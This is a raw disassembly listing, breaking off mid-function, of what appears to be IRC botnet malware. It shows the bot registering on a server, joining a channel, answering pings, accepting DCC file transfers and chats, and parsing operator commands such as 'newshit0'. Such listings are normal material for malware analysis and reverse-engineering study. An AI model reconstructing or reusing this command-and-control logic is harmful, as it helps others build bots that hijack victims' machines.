loc_40CD06:				; CODE XREF: sub_40CCC1+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414419
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4154CD
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD70
		push	[ebp+arg_0]
		call	ds:dword_43A400
		push	1388h
		call	ds:dword_421060


loc_40CD69:				; CODE XREF: sub_40CCC1+D9j
					; sub_40CCC1+153j
		xor	eax, eax


loc_40CD6B:				; CODE XREF: sub_40CCC1+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD70:				; CODE XREF: sub_40CCC1+92j
					; sub_40CCC1+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A380
		test	eax, eax
		jle	short loc_40CD69
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409A1F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CD70
		lea	edi, [ebp+var_A10]


loc_40CDC1:				; CODE XREF: sub_40CCC1+165j
		push	1
		pop	esi


loc_40CDC4:				; CODE XREF: sub_40CCC1+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_40CE39
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CE07
		push	7D0h
		call	ds:dword_421060
		jmp	short loc_40CDC4
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CCC1+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CE31
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CE2D
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD69
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CDC1
		jmp	loc_40CD70
; ---------------------------------------------------------------------------


loc_40CE2D:				; CODE XREF: sub_40CCC1+14Ej
		push	1
		jmp	short loc_40CE33
; ---------------------------------------------------------------------------


loc_40CE31:				; CODE XREF: sub_40CCC1+149j
		push	2


loc_40CE33:				; CODE XREF: sub_40CCC1+16Ej
		pop	eax
		jmp	loc_40CD6B
sub_40CCC1	endp

; ---------------------------------------------------------------------------


loc_40CE39:				; CODE XREF: sub_40CCC1+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_415D50
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-98h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_415550
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_416D20
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40D1FD
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_415550
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0F9Ch]
		push	offset asc_43655C ; " :"
		push	eax
		call	sub_415AA0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_416D20
		mov	esi, offset asc_4269C8 ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_416C78
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A8h], 1Fh


loc_40CF0C:				; CODE XREF: seg000:0040CF20j
		push	esi
		push	ebx
		call	sub_416C78
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A8h]
		pop	ecx
		jnz	short loc_40CF0C
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_40D1FD
		cmp	[ebp-90h], ebx
		jz	loc_40D1FD
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40CF5A:				; CODE XREF: seg000:0040CF8Cj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CF86
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CF8E
		cmp	[eax+2], bl
		jnz	short loc_40CF8E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CF86:				; CODE XREF: seg000:0040CF5Ej
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CF5A


loc_40CF8E:				; CODE XREF: seg000:0040CF63j
					; seg000:0040CF68j
		cmp	[ebp-9A1h], bl
		jz	short loc_40CF99
		mov	[ebp-8], edi


loc_40CF99:				; CODE XREF: seg000:0040CF94j
		cmp	[ebp-9A6h], bl
		jz	short loc_40CFA7
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40CFA7:				; CODE XREF: seg000:0040CF9Fj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CFE1
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_416D20
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0C4h]
		push	offset dword_42F394
		push	eax
		call	sub_416C78
		add	esp, 20h


loc_40CFE1:				; CODE XREF: seg000:0040CFAAj
		push	esi
		push	offset aPing	; "PING"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D032
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D0D6
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 10h
		jmp	loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D032:				; CODE XREF: seg000:0040CFF0j
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B00
		push	esi
		push	offset a005	; "005"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B00
		push	esi
		push	offset a302	; "302"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D09D
		push	offset a@_6	; "@"
		push	dword ptr [ebp-88h]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D0D6
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_416D20
		add	esp, 0Ch
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D09D:				; CODE XREF: seg000:0040D071j
		push	esi
		push	offset a433	; "433"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0DD
		push	ebx
		push	ds:dword_46895C
		push	ds:dword_42C16C
		push	dword ptr [ebp+18h]
		call	sub_414419
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 1Ch


loc_40D0D6:				; CODE XREF: seg000:0040D011j
					; seg000:0040D02Dj ...
		mov	eax, edi
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_40D0DD:				; CODE XREF: seg000:0040D0ACj
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A8h], 2
		mov	edi, 80h


loc_40D0EF:				; CODE XREF: seg000:0040D114j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D10C
		mov	dword ptr [ebp-98h], 1


loc_40D10C:				; CODE XREF: seg000:0040D100j
		add	esi, edi
		dec	dword ptr [ebp-0A8h]
		jnz	short loc_40D0EF
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D205
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_40D13B:				; CODE XREF: seg000:0040D1C8j
		cmp	[esi], bl
		jz	loc_40D1C3
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D1C3
		cmp	[ebp-88h], ebx
		jz	short loc_40D1C3
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1C3
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4364E8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		add	esp, 20h


loc_40D1C3:				; CODE XREF: seg000:0040D13Dj
					; seg000:0040D15Dj ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40D13B
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1FD
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D1F2:				; CODE XREF: seg000:0040D44Ej
					; seg000:0040D7A5j
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC


loc_40D1FA:				; CODE XREF: seg000:00412039j
					; seg000:00412056j ...
		add	esp, 10h


loc_40D1FD:				; CODE XREF: seg000:0040CE94j
					; seg000:0040CF2Aj ...
		push	1


loc_40D1FF:				; CODE XREF: seg000:00412580j
		pop	eax


loc_40D200:				; CODE XREF: seg000:0040D0D8j
					; seg000:0040EF9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D205:				; CODE XREF: seg000:0040D12Bj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D35B
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_40D22E:				; CODE XREF: seg000:0040D280j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D27B
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_417060
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40D27B
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415BE0
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_415BF0
		add	esp, 10h
		mov	edi, 80h


loc_40D27B:				; CODE XREF: seg000:0040D23Fj
					; seg000:0040D256j
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_40D22E
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	loc_40D1FD
		cmp	[ebp+2Ch], ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2C3
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_416D20
		add	esp, 0Ch
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D2C3:				; CODE XREF: seg000:0040D2ACj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40D2C8:				; CODE XREF: seg000:0040D2E9j
		cmp	[edi], bl
		jz	short loc_40D2DF
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D2F0


loc_40D2DF:				; CODE XREF: seg000:0040D2CAj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D2C8
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D2F0:				; CODE XREF: seg000:0040D2DDj
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_417060
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_40D1FD
		push	eax
		call	sub_415CD0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_415CD0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D1FD
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D35B:				; CODE XREF: seg000:0040D214j
		push	esi
		push	offset aPart	; "PART"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D37D
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3A4


loc_40D37D:				; CODE XREF: seg000:0040D36Aj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40D382:				; CODE XREF: seg000:0040D3A2j
		cmp	[edi], bl
		jz	short loc_40D398
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D3F2


loc_40D398:				; CODE XREF: seg000:0040D384j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D382


loc_40D3A4:				; CODE XREF: seg000:0040D37Bj
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D453
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3DB
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40D3DB:				; CODE XREF: seg000:0040D3D0j
		push	dword ptr [ebp-84h]
		push	offset dword_436488


loc_40D3E6:				; CODE XREF: seg000:004123B2j
					; seg000:0041272Bj ...
		call	sub_40B1C5
		pop	ecx


loc_40D3EC:				; CODE XREF: seg000:00412840j
		pop	ecx
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D3F2:				; CODE XREF: seg000:0040D396j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_436454
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_4158F0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D1FD
		lea	eax, [ebp-2C8h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D1F2
; ---------------------------------------------------------------------------


loc_40D453:				; CODE XREF: seg000:0040D3B8j
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4158F0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D4A7
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D4A7
		push	dword ptr [ebp-90h]
		push	offset dword_436440
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412974
		cmp	ds:dword_42C15C, ebx
		jz	loc_412974


loc_40D4A7:				; CODE XREF: seg000:0040D46Dj
					; seg000:0040D47Fj
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D62D
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D62D
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_40D4EE:				; CODE XREF: seg000:0040D6E9j
					; seg000:0040D77Aj ...
		shl	esi, 2
		mov	eax, [ebp+esi-94h]
		lea	edi, [ebp+esi-94h]
		push	eax
		push	offset dword_436438
		mov	[ebp+10h], eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D927
		push	dword ptr [ebp+esi-90h]
		push	offset aSend_0	; "SEND"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D7E5
		cmp	[ebp-98h], ebx
		jz	loc_40D7BB
		push	dword ptr [ebp+esi-8Ch]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp-6FCh]
		push	edi
		push	eax
		call	sub_4154CD
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	edi
		push	eax
		call	sub_4154CD
		push	dword ptr [ebp+esi-84h]
		call	sub_415A3F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4363F0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_414F79
		add	esp, 44h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	40BA98h
		push	ebx
		push	ebx
		call	near ptr 0B75D5C90h
		mov	cx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	loc_40D7AA


loc_40D617:				; CODE XREF: seg000:0040D62Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40D7DD
		push	32h
		call	ds:dword_421060
		jmp	short loc_40D617
; ---------------------------------------------------------------------------


loc_40D62D:				; CODE XREF: seg000:0040D4B7j
					; seg000:0040D4CDj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D646
		mov	dword ptr [ebp-4], 1


loc_40D646:				; CODE XREF: seg000:0040D63Dj
		cmp	[ebp-8Ch], ebx
		jz	loc_40D1FD
		push	(offset	loc_4263DB+1)
		push	dword ptr [ebp-8Ch]
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D66D
		cmp	[ebp-4], ebx
		jz	short loc_40D679


loc_40D66D:				; CODE XREF: seg000:0040D666j
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_40D679:				; CODE XREF: seg000:0040D66Bj
		cmp	[ebp-88h], ebx
		jz	loc_40D1FD
		inc	dword ptr [ebp-88h]
		jz	short loc_40D6C5
		cmp	[ebp+18h], ebx
		jz	short loc_40D6C5
		lea	eax, [ebp-564h]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_416EB0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40D6CB
; ---------------------------------------------------------------------------


loc_40D6C5:				; CODE XREF: seg000:0040D68Bj
					; seg000:0040D690j
		mov	esi, [ebp-0ACh]


loc_40D6CB:				; CODE XREF: seg000:0040D6C3j
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_40D1FD
		push	edi
		push	offset dword_4363E4
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D4EE
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D76B
		mov	eax, ds:dword_46896C
		mov	eax, ds:off_42C214[eax*4]
		cmp	[eax], bl
		jz	short loc_40D76B
		push	eax
		push	ecx
		push	offset dword_4363C8
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		add	esp, 20h
		cmp	[ebp-98h], ebx
		jnz	loc_40D1FD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1
		push	eax
		push	offset dword_468874


loc_40D75B:				; CODE XREF: seg000:0041212Dj
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D76B:				; CODE XREF: seg000:0040D6F8j
					; seg000:0040D708j
		push	edi
		push	offset dword_4363A4
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D4EE
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_40D4EE
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D4EE
		push	eax
		push	ecx
		push	offset dword_43638C
		jmp	loc_40D1F2
; ---------------------------------------------------------------------------


loc_40D7AA:				; CODE XREF: seg000:0040D611j
		call	ds:dword_421088
		push	eax
		push	offset dword_436340
		jmp	loc_40D913
; ---------------------------------------------------------------------------


loc_40D7BB:				; CODE XREF: seg000:0040D538j
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+esi-8Ch]
		push	offset dword_4362EC
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_40D7DD:				; CODE XREF: seg000:0040D61Dj
					; seg000:0040D8DBj ...
		push	1
		pop	esi
		jmp	loc_40EF8E
; ---------------------------------------------------------------------------


loc_40D7E5:				; CODE XREF: seg000:0040D52Cj
		push	dword ptr [ebp+esi-90h]
		push	offset aChat	; "CHAT"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D93D
		cmp	[ebp-98h], ebx
		jz	loc_40D907
		push	13h
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	loc_40D8F9
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		push	dword ptr [ebp+esi-84h]
		call	sub_415A3F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4362B0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	13h
		push	eax
		call	sub_414F79
		add	esp, 34h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset loc_40B535
		push	ebx
		push	ebx
		call	near ptr 9D9FA42Dh
		clc
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_40D8EB


loc_40D8D5:				; CODE XREF: seg000:0040D8E9j
		cmp	[ebp-568h], ebx
		jnz	loc_40D7DD
		push	32h
		call	ds:dword_421060
		jmp	short loc_40D8D5
; ---------------------------------------------------------------------------


loc_40D8EB:				; CODE XREF: seg000:0040D8D3j
		call	ds:dword_421088
		push	eax
		push	offset dword_436268
		jmp	short loc_40D913
; ---------------------------------------------------------------------------


loc_40D8F9:				; CODE XREF: seg000:0040D816j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_436224
		jmp	short loc_40D913
; ---------------------------------------------------------------------------


loc_40D907:				; CODE XREF: seg000:0040D806j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4361E0


loc_40D913:				; CODE XREF: seg000:0040D7B6j
					; seg000:0040D8F7j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_40D927:				; CODE XREF: seg000:0040D511j
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42C164
		mov	[edi], ecx
		jnz	loc_40D1FD


loc_40D93D:				; CODE XREF: seg000:0040D7FAj
		mov	edi, [edi]
		push	edi
		push	offset aNewshit0 ; "newshit0"
		mov	[ebp+10h], edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41297C
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41297C
		cmp	[ebp-98h], ebx
		jnz	short loc_40D98E
		push	dword ptr [ebp-90h]
		push	offset dword_436440
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412974


loc_40D98E:				; CODE XREF: seg000:0040D972j
		cmp	[ebp+30h], ebx
		jnz	loc_412974
		xor	edi, edi
		cmp	ds:dword_42E754, ebx
		jle	loc_40DB3A
		mov	dword ptr [ebp+28h], offset dword_43E778


loc_40D9AC:				; CODE XREF: seg000:0040D9CBj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9D2
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, ds:dword_42E754
		jl	short loc_40D9AC
		jmp	loc_40DB3A
; ---------------------------------------------------------------------------


loc_40D9D2:				; CODE XREF: seg000:0040D9BBj
		push	offset asc_43655C ; " :"
		push	dword ptr [ebp+8]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D1FD
		mov	cl, ds:byte_42C164
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42C164
		mov	[eax+3], cl
		lea	ecx, dword_43E790[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D20
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax


loc_40DA27:				; CODE XREF: seg000:0040DACFj
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DA93
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jz	short loc_40DA93
		lea	eax, dword_43E778[edi]
		push	eax
